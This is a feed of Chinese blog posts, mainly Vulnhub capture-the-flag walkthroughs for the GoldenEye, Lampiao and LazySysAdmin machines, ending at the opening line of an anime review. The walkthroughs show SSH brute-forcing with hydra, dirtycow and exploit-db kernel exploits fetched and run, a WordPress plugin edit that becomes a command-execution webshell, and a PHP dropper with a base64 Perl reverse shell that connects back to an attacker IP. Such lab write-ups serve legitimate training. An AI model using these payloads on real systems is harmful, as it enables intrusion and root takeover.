&lt;p&gt;&lt;a href=&quot;http://blog.51cto.com/zhangbo1119/952538&quot; rel=&quot;nofollow&quot;&gt;SMTP/POP3/IMAP 命令简介&lt;/a&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731874240287.jpg&quot;&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id=&quot;boris&quot;&gt;boris&lt;/h3&gt;
&lt;p&gt;boris的三封邮件，没有什么特别的发现&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731874535218.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;natalya&quot;&gt;natalya&lt;/h3&gt;
&lt;p&gt;natalya的两封邮件&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731874660542.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现了一个新学生的账号，而且root也告诉natalya该如何操作&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731874906839.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;severnaya-station&quot;&gt;Severnaya-Station&lt;/h2&gt;
&lt;p&gt;按照管理员给的提示，把domain加到host中&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;echo -e &quot;192.168.11.122\&lt;a href=&quot;http://tsevernaya-station.com&quot; rel=&quot;nofollow&quot;&gt;tsevernaya-station.com&lt;/a&gt;&quot; &amp;gt;&amp;gt; /etc/hosts&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;然后就直接访问域名，进入&lt;code&gt;&lt;a href=&quot;http://severnaya-station.com/gnocertdir/&quot; rel=&quot;nofollow&quot;&gt;http://severnaya-station.com/gnocertdir/&lt;/a&gt;&lt;/code&gt;即可&lt;/p&gt;
&lt;p&gt;一登陆，就有提示说Mr.Doak发了封邮件给Xenia，那就点进去看看呗。&lt;/p&gt;
&lt;p&gt;类似于欢迎信的东东，但是发现了Mr.Doak的用户名为doak&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731875016353.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;那就再尝试一下爆破看看行不行得通&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731875125690.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后登陆进去doak的邮箱&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731875246207.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;又发现了一个密码&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731875369855.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;遍历网站的时候，发现一个txt文件&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731875469451.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;看到一个jpg文件，下载下来，binwalk跑一下，没发现隐写，exif跑一下，发现description里面有一个类似base64的编码，抠出来解下码&lt;code&gt;xWinter1995x!&lt;/code&gt; ，这串东东有什么用。。然后在主页无意中看到这个&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731875570787.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后去试了一波admin的密码。。。竟然成功了～～&lt;/p&gt;
&lt;p&gt;既然得到了admin的账号，看到了版本号Moodle2.2.3，那就去搜一波exp，发现2.2.3有个rce漏洞，就直接开始动手了。&lt;/p&gt;
&lt;h3 id=&quot;rce&quot;&gt;手动构造rce&lt;/h3&gt;
&lt;p&gt;把每个链接都点了一遍，然后发现了有一个系统路径的页面&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731875706637.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;但是要反弹shell之前，需要把拼写检查换成PSpellSHell&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731875822087.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;默认的GoogleShell是弹不了的。&lt;/p&gt;
&lt;p&gt;首先用的是nc反弹，没什么反应。。。&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731875935584.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;那换一种方法，python，成功了&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731876025319.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后再用如下命令生成TTY，方面后续操作&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;python -c &#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;虽然靶机介绍里面说要提权，然后找到flag.txt，&lt;/p&gt;
&lt;p&gt;但是在我遍历一下web目录时，就可以找到一个xvf7-flag的文件夹，里面藏着flag（野路子）&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731876134442.jpg&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;metasploit&quot;&gt;Metasploit&lt;/h3&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731876276911.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;_3&quot;&gt;提权&lt;/h2&gt;
&lt;p&gt;由于上面两种方法反弹shell后的提权操作一致，所以只写一次了&lt;/p&gt;
&lt;p&gt;先用&lt;code&gt;uname -a&lt;/code&gt;看看内核，然后去exploit-db搜一下exp。但是发现系统内没有装gcc。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;cd /tmp # 进入/tmp目录，方便读写
wget &lt;a href=&quot;https://www.exploit-db.com/download/37292.c&quot; rel=&quot;nofollow&quot;&gt;https://www.exploit-db.com/download/37292.c&lt;/a&gt;
sed -i &#x27;s/gcc/cc/g&#x27; 37292.c # 系统内没有gcc,所以只能用cc代替
cc 37292.c -o evil # 编译exp
chmod 700 evil
./evil&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;然后就是root权限了。&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731876398314.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;果然结果还是上面遍历目录时发现的那个flag页面。&lt;/p&gt;
&lt;h2 id=&quot;_4&quot;&gt;总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;第一次遇到smtp和pop这样的服务，有点懵逼，一开始卡了很久，还是得一步步去搜，现学现卖&lt;/li&gt;
&lt;li&gt;用msf的确让攻击变得更加容易操作，但是自己手动去测试漏洞点，从构造到弹shell，里面考验的东西太多太多&lt;/li&gt;
&lt;li&gt;学会了如何在没有gcc下用cc进行编译exp&lt;/li&gt;
&lt;/ol&gt;</description>
    <pubDate>Mon, 01 Oct 2018 07:45:51 +0800</pubDate>
  </item>
  <item>
    <title>
      Vulnhub-Lampiao：1 通关指南
    </title>
    <link>https://www.0akarma.com/vulnhub-lampiao.html</link>
    <description>&lt;h2 id=&quot;_1&quot;&gt;背景&lt;/h2&gt;
&lt;p&gt;你想继续攻击自己的实验室吗？试试这个全新的易受攻击机器！“Lampião1”。&lt;/p&gt;
&lt;p&gt;Goal：得到root权限&lt;/p&gt;
&lt;p&gt;Difficulty：easy&lt;/p&gt;
&lt;p&gt;Lampião1是一个巴西著名的土匪领袖，flag里面有他的肖像。&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;信息收集&lt;/h2&gt;
&lt;p&gt;首先用netdiscover确定靶机ip，再用nmap扫下端口&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731871355198.jpg&quot;&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code&gt;一开始用下面这条命令是扫不出1898端口的（这也是我一开始卡着不知道怎么往下走的原因）
nmap -A 192.168.88.112
用下面这条才能扫出来
nmap -n -v -Pn -p- -A --reason -oN nmap.txt 192.168.11.131&lt;/code&gt;&lt;/pre&gt;


&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;-n&lt;/code&gt; (不用域名解析)； &lt;code&gt;-V&lt;/code&gt; (打印版本信息)；&lt;code&gt;-Pn&lt;/code&gt; (不检测主机存活)；&lt;code&gt;--reason&lt;/code&gt; (显示端口处于带确认状态的原因)；&lt;code&gt;-oN&lt;/code&gt; (将标准输出直接写入指定的文件) ；&lt;code&gt;-p-&lt;/code&gt; (应该是全部端口都扫一遍)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;22是ssh端口，那就先按照惯例，看看80端口吧。&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;media/15731216991055/15731871486035.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;就一个字符画，有个fi duma egud？不晓得什么意思～～&lt;/p&gt;
&lt;h2 id=&quot;durpal&quot;&gt;Durpal&lt;/h2&gt;
&lt;p&gt;既然80端口没有什么收获，那就来1898端口瞧瞧，看到是Drupal，那就先常规思路走一波&lt;/p&gt;
&lt;h3 id=&quot;getshell&quot;&gt;Getshell&lt;/h3&gt;
&lt;p&gt;网上的都是drupal 7.x 利用PHP filter模块去getshell，但是这里登陆模块似乎用不了？因为注册时激活邮件发不出去，没办法激活，所以这条路看来是走不通了。&lt;/p&gt;
&lt;h3 id=&quot;ssh&quot;&gt;SSH爆破&lt;/h3&gt;
&lt;p&gt;这不是一个纯英文的网站，会不会有可能网站里面的英文是密码提示？？可不可以做个字典爆破一波？&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/digininja/CeWL&quot; rel=&quot;nofollow&quot;&gt;Cewl&lt;/a&gt;&lt;/strong&gt;了解一下，&lt;/p&gt;
&lt;p&gt;默认文章肯定不会有tips，那就弄另一篇生成个字典看看&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;# cewl -w dict.txt http://192.168.11.131:1898/?q=node/1&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;仔细观察，发现还有两个作者（username？？），试试呗～&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731871609213.jpg&quot;&gt;&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;# echo tiago &amp;gt; usernames.txt
# echo eder &amp;gt;&amp;gt; usernames.txt&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;爆破工具&lt;strong&gt;&lt;a href=&quot;https://github.com/vanhauser-thc/thc-hydra&quot; rel=&quot;nofollow&quot;&gt;hydra&lt;/a&gt;&lt;/strong&gt;了解一下……&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731871721176.jpg&quot;&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;-t 速度，-e nsr就是把用户名密码换着来爆破&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;既然搞到账号密码了，赶紧连进去呗。&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731871842310.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;一个低权限，那就查查内核什么的，看看怎么提权&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;tiago@lampiao:~$ uname -a
Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
tiago@lampiao:~$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 14.04.5 LTS
Release:    14.04
Codename:   trusty&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;用一个&lt;a href=&quot;https://github.com/mzet-/linux-exploit-suggester&quot; rel=&quot;nofollow&quot;&gt;脚本&lt;/a&gt;看看现成的exp有哪些&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ wget -q -O /tmp/&lt;a href=&quot;http://linux-exploit-suggester.sh&quot; rel=&quot;nofollow&quot;&gt;linux-exploit-suggester.sh&lt;/a&gt; &lt;a href=&quot;https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh&quot; rel=&quot;nofollow&quot;&gt;https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh&lt;/a&gt;
$ chmod +x /tmp/&lt;a href=&quot;http://linux-exploit-suggester.sh&quot; rel=&quot;nofollow&quot;&gt;linux-exploit-suggester.sh&lt;/a&gt;
$ /tmp/&lt;a href=&quot;http://linux-exploit-suggester.sh&quot; rel=&quot;nofollow&quot;&gt;linux-exploit-suggester.sh&lt;/a&gt;
...
[+] [CVE-2016-5195] dirtycow 2

   Details: &lt;a href=&quot;https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails&quot; rel=&quot;nofollow&quot;&gt;https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails&lt;/a&gt;
   Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
   Download URL: &lt;a href=&quot;https://www.exploit-db.com/download/40839&quot; rel=&quot;nofollow&quot;&gt;https://www.exploit-db.com/download/40839&lt;/a&gt;
   ext-url: &lt;a href=&quot;https://www.exploit-db.com/download/40847.cpp&quot; rel=&quot;nofollow&quot;&gt;https://www.exploit-db.com/download/40847.cpp&lt;/a&gt;
   Comments: For RHEL/CentOS see exact vulnerable versions here: &lt;a href=&quot;https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh&quot; rel=&quot;nofollow&quot;&gt;https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;dirtycow走你～&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;$ wget -q -O /tmp/40847.cpp &lt;a href=&quot;https://www.exploit-db.com/download/40847.cpp&quot; rel=&quot;nofollow&quot;&gt;https://www.exploit-db.com/download/40847.cpp&lt;/a&gt;
$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

root@lampiao:~# echo 0 &amp;gt; /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~# &lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;Root权限到手～&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;root@lampiao:~# cat flag.txt 
9740616875908d91ddcdaa8aea3af366&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;flag里面这一串是什么鬼～&lt;/p&gt;
&lt;p&gt;在80端口的根目录发现一个lampiao.jpg&lt;/p&gt;
&lt;p&gt;网页上打不开，scp到本地发现下面这幅图&lt;/p&gt;
&lt;p&gt;网页上打不开难道是做过手脚？md5不能解密，那就看看这个图是不是flag&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;root@lampiao:/var/www/html# md5sum lampiao.jpg 
9740616875908d91ddcdaa8aea3af366  lampiao.jpg&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;好吧，还真是～著名的Lampião！&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731872027011.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;_3&quot;&gt;总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;条条大路通罗马，套路一定要骚！骚！骚！&lt;/li&gt;
&lt;li&gt;ssh爆破中的cewl和hydra工具的使用&lt;/li&gt;
&lt;li&gt;提权的基本操作&lt;/li&gt;
&lt;/ol&gt;</description>
    <pubDate>Wed, 22 Aug 2018 10:39:24 +0800</pubDate>
  </item>
  <item>
    <title>
      Vulnhub-LazySysAdmin 通关指南
    </title>
    <link>https://www.0akarma.com/vulnhub-lazySysAdmin.html</link>
    <description>&lt;p&gt;Goal：得到root权限&amp;amp;找到flag&lt;/p&gt;
&lt;h2 id=&quot;_1&quot;&gt;信息收集&lt;/h2&gt;
&lt;p&gt;首先用netdiscover确定靶机ip，再用nmap扫下端口&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731869905013.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;一眼扫过去，发现竟然有Mysql、InspIRCd、Samba还挺有意思嘛！&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/inspircd/inspircd&quot; rel=&quot;nofollow&quot;&gt;InspIRCd&lt;/a&gt;&lt;/strong&gt;，是一个UNIX系统和Windows系统的聊天服务器&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://zh.wikipedia.org/zh/Samba&quot; rel=&quot;nofollow&quot;&gt;Samba&lt;/a&gt;&lt;/strong&gt;，是种用来让UNIX系列的操作系统与微软Windows操作系统的SMB/CIFS（Server Message Block/Common Internet File System）网络协议做链接的自由软件。第三版不仅可访问及分享SMB的文件夹及打印机，本身还可以集成入Windows Server的网域，扮演为网域控制站（Domain Controller）以及加入Active Directory成员。简而言之，此软件在Windows与UNIX系列操作系统之间搭起一座桥梁，让两者的资源可互通有无。--维基百科&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;按照常规思路先走走，既然有80端口，作为一个web狗，肯定要上去看看有什么可以vanvan的:)&lt;/p&gt;
&lt;p&gt;然鹅～没有什么特别的发现，是由一个在线html编辑器做的一个静态页面。&lt;/p&gt;
&lt;p&gt;扫下目录之后，真的是令人眼前一亮：发现有phpmyadmin、wordpress&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731870005510.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;phpmyadmin&quot;&gt;phpMyadmin&lt;/h2&gt;
&lt;p&gt;爆破失败……&lt;/p&gt;
&lt;h2 id=&quot;wordpress&quot;&gt;Wordpress&lt;/h2&gt;
&lt;p&gt;普通的wordpress站点，但是My name is togie 重复了不知道多少次？？&lt;strong&gt;重要的事情说N遍？？？&lt;/strong&gt;&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731870121134.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;先用kali的WpScan扫一下wordpress站点&lt;/p&gt;
&lt;p&gt;一个用户admin，主题是twentyfifteen - v1.8，没有装插件，干干净净的wordpress，想从这打进去怕是不现实了。。。&lt;/p&gt;
&lt;h2 id=&quot;inspircd&quot;&gt;InspIRCd&lt;/h2&gt;
&lt;p&gt;没有什么发现……&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731870229858.jpg&quot;&gt;&lt;/p&gt;
&lt;h2 id=&quot;samba&quot;&gt;Samba&lt;/h2&gt;
&lt;p&gt;看下能不能连进去&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731870333781.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;发现了一个&lt;code&gt;printf$&lt;/code&gt;和一个&lt;code&gt;share$&lt;/code&gt;，应该一个是打印机，但是连不上，试了下共享文件夹，打开就发现了惊喜&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731870459658.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;竟然是wordpress站点的目录，这样子，能搞的事情就多了啦:)，先尝试能不能上传文件，发现不行，但是可以下载文件，那就看下有没有什么敏感信息。&lt;/p&gt;
&lt;h3 id=&quot;ssh&quot;&gt;解法一：ssh&lt;/h3&gt;
&lt;p&gt;有个todolist，但是好像没啥用&lt;/p&gt;
&lt;p&gt;有个deets.txt文件&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-txt&quot;&gt;CBF Remembering all these passwords.
Remember to remove this file and update your password after we push out the server.
Password 12345&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;用户名togie？？？密码12345？？？连连ssh试试？？&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731870571252.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;我的妈？？surprise？？？&lt;/p&gt;
&lt;p&gt;然后尝试一下切换一下目录，发现没有权限&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;togie@LazySysAdmin:~$ cd /
-rbash: cd: restricted&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;那试试看看能不能togie用户有没有sudo的权限（讲道理都不会有。。。）&lt;/p&gt;
&lt;p&gt;然而又一次让人震惊了。。。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;togie@LazySysAdmin:~$ sudo su
[sudo] password for togie: 
root@LazySysAdmin:/home/togie#&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;于是，顺顺利利拿到flag。。。&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731870670966.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;这个我觉得是出题人未考虑到的非预期解？？或许这就是题目LazyAdmin的原意？？&lt;/p&gt;
&lt;h3 id=&quot;wordpress_1&quot;&gt;解法二：wordpress&lt;/h3&gt;
&lt;p&gt;顺便看看配置文件，把数据库密码扒下来&lt;/p&gt;
&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;https://ws4.sinaimg.cn/large/006tNbRwly1fvicpnc4lnj30ba034a9w.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;连上去phpmyadmin，看下普通的into outfile能不能写shell，发现这是个残废的phpmyadmin&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731870792592.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;然后忽然想想，刚刚WpScan扫到了一个用户名，可不可以利用起来？数据库密码跟wordpress管理员密码会不会一样？？尝试了一波，惊了！！！&lt;br&gt;
&lt;img alt=&quot;&quot; src=&quot;/api/download/15731870919728.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;其实既然已经进入了控制面板，就可以有很多方式去写shell了，可以从主题模版的某些php文件中写，也可以看看插件中哪些可以利用。看到一个插件教hello，dolly，里面是打印一首叫“&lt;em&gt;Hello Dolly&lt;/em&gt;”的各句歌词在页面右上角，那就从这里入手吧。&lt;/p&gt;
&lt;p&gt;将输出歌词的地方，换成我们执行命令的回显&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;// And then randomly choose a line
$lyrics = &quot;&amp;lt;pre&amp;gt;&quot;.shell_exec($_GET[&#x27;cmd&#x27;]).&quot;&amp;lt;/pre&amp;gt;&quot;;
return  wptexturize($lyrics);&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;&lt;img alt=&quot;&quot; src=&quot;/api/download/15731871014292.jpg&quot;&gt;&lt;/p&gt;
&lt;p&gt;既然已经有了RCE，只需要把反弹shell的php脚本传到靶机上就可以了。&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&amp;lt;?php
function which($pr) {
$path = execute(&quot;which $pr&quot;);
return ($path ? $path : $pr);
}
function execute($cfe) {
$res = &#x27;&#x27;;
if ($cfe) {
if(function_exists(&#x27;exec&#x27;)) {
@exec($cfe,$res);
$res = join(&quot;\n&quot;,$res);
} elseif(function_exists(&#x27;shell_exec&#x27;)) {
$res = @shell_exec($cfe);
} elseif(function_exists(&#x27;system&#x27;)) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists(&#x27;passthru&#x27;)) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,&quot;r&quot;))) {
$res = &#x27;&#x27;;
while(!@feof($f)) {
$res .= @fread($f,1024);
}
@pclose($f);
}
}
return $res;
}
function cf($fname,$text){
if($fp=@fopen($fname,&#x27;w&#x27;)) {
@fputs($fp,@base64_decode($text));
@fclose($fp);
}
}

$yourip = &quot;x.x.x.x&quot;; //修改这里
$yourport = &quot;2333&quot;; // 修改这里
$usedb = array(&#x27;perl&#x27;=&amp;gt;&#x27;perl&#x27;,&#x27;c&#x27;=&amp;gt;&#x27;c&#x27;);
$back_connect=&quot;IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj&quot;.
&quot;aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR&quot;.
&quot;hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT&quot;.
&quot;sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI&quot;.
&quot;kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi&quot;.
&quot;KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl&quot;.
&quot;OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==&quot;;
cf(&#x27;/tmp/.bc&#x27;,$back_connect);
$res = execute(which(&#x27;perl&#x27;).&quot; /tmp/.bc $yourip $yourport &amp;amp;&quot;);
?&amp;gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;此外，msf同样也可以创建各种反弹脚本&lt;/p&gt;
&lt;p&gt;这里推荐一个用&lt;a href=&quot;https://gist.github.com/&quot; rel=&quot;nofollow&quot;&gt;Gist&lt;/a&gt;的方法上传脚本（还可以创建私密gist，只能通过url访问）&lt;/p&gt;
&lt;p&gt;上传好之后，只需要在RCE处，wget下载到靶机即可&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;http://192.168.11.130/wordpress/wp-admin/index.php
?cmd=wget &lt;a href=&quot;https://gist.githubusercontent.com/akkayin/404e282652bda5c9c5f8f56f5953a8ff/raw/fb25d067a742cc2f30b874697178e046f17c6a93/rev.php&quot; rel=&quot;nofollow&quot;&gt;https://gist.githubusercontent.com/akkayin/404e282652bda5c9c5f8f56f5953a8ff/raw/fb25d067a742cc2f30b874697178e046f17c6a93/rev.php&lt;/a&gt;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;然后就是攻击机开放监听端口&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;root@karma:~# nc -lnvp 2333&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;在浏览器中访问rev.php，bingo……&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;connect to [192.168.11.129] from (UNKNOWN) [192.168.11.130] 59658
Linux LazySysAdmin 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;进行一系列的命令操作后，发现没有TTY&lt;/p&gt;
&lt;p&gt;输入下面的命令&lt;/p&gt;
&lt;pre class=&quot;prettyprint linenums&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;python3 -c &#x27;import pty; pty.spawn(&quot;/bin/bash&quot;)&#x27;&lt;/code&gt;&lt;/pre&gt;


&lt;p&gt;到这里，如果是别的靶机，没有这样一个Lazy的Admin，你可以选择提权来获得root权限，但是既然作者这样为止，肯定要警示我们不要像这个lazyadmin一样有这里低级的陋习，所以我们就不需要走提权这条路了，直接用他给的密码登进去，如第一种解法一样即可。&lt;/p&gt;
&lt;h2 id=&quot;_2&quot;&gt;总结&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Penetration真的需要很多骚操作，条条大路通罗马&lt;/li&gt;
&lt;li&gt;这个靶机实际上并不难，但作者想通过这种简单但是却普遍的Vulnerability来提醒广大admin不要把敏感信息直接存储在显而易见的地方&lt;/li&gt;
&lt;li&gt;在penetrate之前，要重视信息收集的工作，每发现一些敏感或看似有用的信息，记得拿小本子记下来，在后面或许有奇效！！&lt;/li&gt;
&lt;/ol&gt;</description>
    <pubDate>Wed, 22 Aug 2018 08:54:43 +0800</pubDate>
  </item>
  <item>
    <title>
      《Ballroom e Youkoso 舞动青春》观后感
    </title>
    <link>https://www.0akarma.com/ballroom-e-youkoso.html</link>
    <description>&lt;p&gt;第一遍看看得热血沸腾。。。燃起了跳舞的欲望。。。&lt;/p&gt;
